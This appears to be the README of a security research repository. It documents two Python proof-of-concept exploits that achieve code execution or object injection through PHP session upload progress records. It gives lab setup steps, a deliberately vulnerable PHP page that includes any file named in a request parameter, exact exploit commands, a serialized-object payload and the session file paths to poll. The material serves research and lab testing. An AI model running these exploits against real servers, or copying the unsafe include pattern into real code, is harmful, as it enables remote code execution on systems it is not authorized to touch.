
Two Python PoCs for PHP session upload progress RCE: session-file LFI code execution and php_binary-to-php serializer object injection, with lab setup scripts.
https://github.com/user-attachments/assets/7d25d259-ec00-4e3a-810c-09098f0afb5f
https://github.com/user-attachments/assets/00a0d3e7-bd78-4bdb-992f-0110fc580746
This repository contains two lab PoCs for PHP session upload progress. The upload progress handler writes an attacker-controlled field into the session file before application code runs:
poc.py): the handler stores a filename or progress
value containing PHP code. If an authorized LFI includes the session file,
that code executes.poc-php-binary.py): the progress record is written
with php_binary, then the application switches to the php serializer and
calls session_start(). The php decoder unserializes the attacker's
progress value, proving an object-injection primitive without any LFI.Use these only against systems you own or are explicitly authorized to test.
The generated ?file= endpoint is intentionally unsafe and must stay in a lab.
| File | Purpose |
|---|---|
poc.py | Multipart upload PoC with --filename / --progress / --field-name injection and optional LFI polling |
poc-php-binary.py | No-LFI php_binary -> php serialization PoC |
setup.sh | Deploys the session-file LFI lab on port 80 (installs Apache/PHP if missing) |
setup-php-binary.sh | The same script as setup.sh; differs only in the deployed index.php and in scoping session.serialize_handler=php_binary |
poc.mp4 | Demo: session-file LFI |
poc-php-binary.mp4 | Demo: php_binary serializer switch |
setup.sh detects the distribution, installs the web server and PHP packages
if they are missing, clears /var/www/html, writes only index.php, and
reloads the web server. Run it as a user with sudo rights; the script calls
sudo itself, so there is no need to prefix the whole invocation:
bash setup.sh
When it finishes it prints [+] Deployed: /var/www/html/index.php and the URL
to test.
Installs httpd, php, and php-fpm. Because mod_php is no longer packaged
there, the script also writes /etc/httpd/conf.d/php.conf to route .php
requests to the php-fpm socket, then starts php-fpm and httpd. The page is
served on the normal Apache port:
http://<host>/index.php
Installs apache2, php, and libapache2-mod-php (mod_php), and enables
the PHP module if it is not already loaded. The page is served on the normal
Apache port:
http://<host>/index.php
The setup does not set session-related PHP INI values. It uses the system PHP configuration.
The generated page:
<?php
declare(strict_types=1);
if (isset($_GET['file']) && $_GET['file'] !== '') {
header('Content-Type: text/plain; charset=utf-8');
include $_GET['file'];
} else {
echo "hello, world\n";
}
Check it:
curl http://192.168.122.170/index.php
# hello, world
setup.sh clears /var/www/html; do not run it on a host with a real site
there.
poc.pyThe PoC asks for confirmation before sending. --duration is the number of
one-second upload chunks; the default is 45. Choose exactly one injection
mode:
--filename puts the PHP payload in the multipart filename.--progress puts it in the PHP_SESSION_UPLOAD_PROGRESS value (the payload
cannot contain |).--field-name puts it in the file part's field name, which the handler
stores raw in files[].field_name (ext/session/session.c:3321) without
input filtering. The payload cannot contain ", [ or ] (the multipart
parser reads the field name up to the closing quote and rejects unbalanced
brackets).--lfi requires one of --fedora, --ubuntu, or --tmp so the PoC polls the
session file for the right platform. On Ubuntu:
python3 poc.py \
--remote 'http://192.168.122.170/index.php' \
--filename \
--lfi 'http://192.168.122.170/index.php?file={file}' \
--ubuntu
On Fedora / RHEL:
python3 poc.py \
--remote 'http://192.168.122.170/index.php' \
--filename \
--lfi 'http://192.168.122.170/index.php?file={file}' \
--fedora
The PoC waits eight seconds, then polls the LFI once per second while the
upload is still running. It stops as soon as it sees executed-payload output
(RCE <version>), aborts the remaining upload, and exits 0. If the upload ends
without a match it exits 1. Durations below 20 seconds are raised to 20 when
polling is enabled, because PHP needs roughly ten seconds to write the
progress entry.
Without --lfi, the platform flags are optional; the PoC only sends the upload
and you can inspect the session file manually.
The platform flag selects the file to watch:
--fedora /var/lib/php/session/sess_pwnd00000000000001
--ubuntu /var/lib/php/sessions/sess_pwnd00000000000001
--tmp /tmp/sess_pwnd00000000000001
php_binary -> php serializer switchsetup-php-binary.sh is the same script as setup.sh — the two files are
byte-identical except for one lab-specific configuration block (the index.php
that gets deployed and the serializer the lab runs under). It installs packages
if needed, clears /var/www/html, writes its index.php, and reloads Apache,
and it additionally scopes session.serialize_handler=php_binary to the lab:
Fedora/RHEL use a dedicated php-fpm pool wired through /etc/httpd/conf.d/php.conf;
Ubuntu/Debian use a php_value in an Apache conf snippet. Re-running setup.sh
removes that scoping and restores the stock LFI lab, so the two scripts switch
the shared /var/www/html lab back and forth.
bash setup-php-binary.sh
The endpoint starts with session.serialize_handler=php_binary, switches to
php at runtime, and calls session_start():
<?php
declare(strict_types=1);
class Gadget {
public function __wakeup() { echo "SERIALIZED_WAKEUP\n"; }
public function __destruct() { echo "SERIALIZED_DESTRUCT\n"; }
}
ini_set('session.serialize_handler', 'php');
session_start();
echo "hello, world\n";
poc-php-binary.pypython3 poc-php-binary.py \
--remote 'http://192.168.122.170/index.php'
The script is serialize-only; there is no LFI mode. It sends the progress value
x|O:6:"Gadget":0:{} (or the class named by --gadget) plus a normal file
part. --duration defaults to 45 and is raised to at least 20. After eight
seconds it polls the same URL with the same PHPSESSID every second, prints
each response, and exits 0 as soon as SERIALIZED_WAKEUP or
SERIALIZED_DESTRUCT appears. If the upload ends without a match it exits 1.
The x| prefix supplies the delimiter that php_binary does not write, so the
php decoder sees the serialized object as the progress value.
poc.py sends a multipart POST with PHP_SESSION_UPLOAD_PROGRESS and a
file part.session.upload_progress.cleanup=1.--lfi polls the generated include endpoint for the session
file.<?php bytes.The target PHP script does not need upload handling. A progress field without a file part does not trigger the progress record; a file part is required.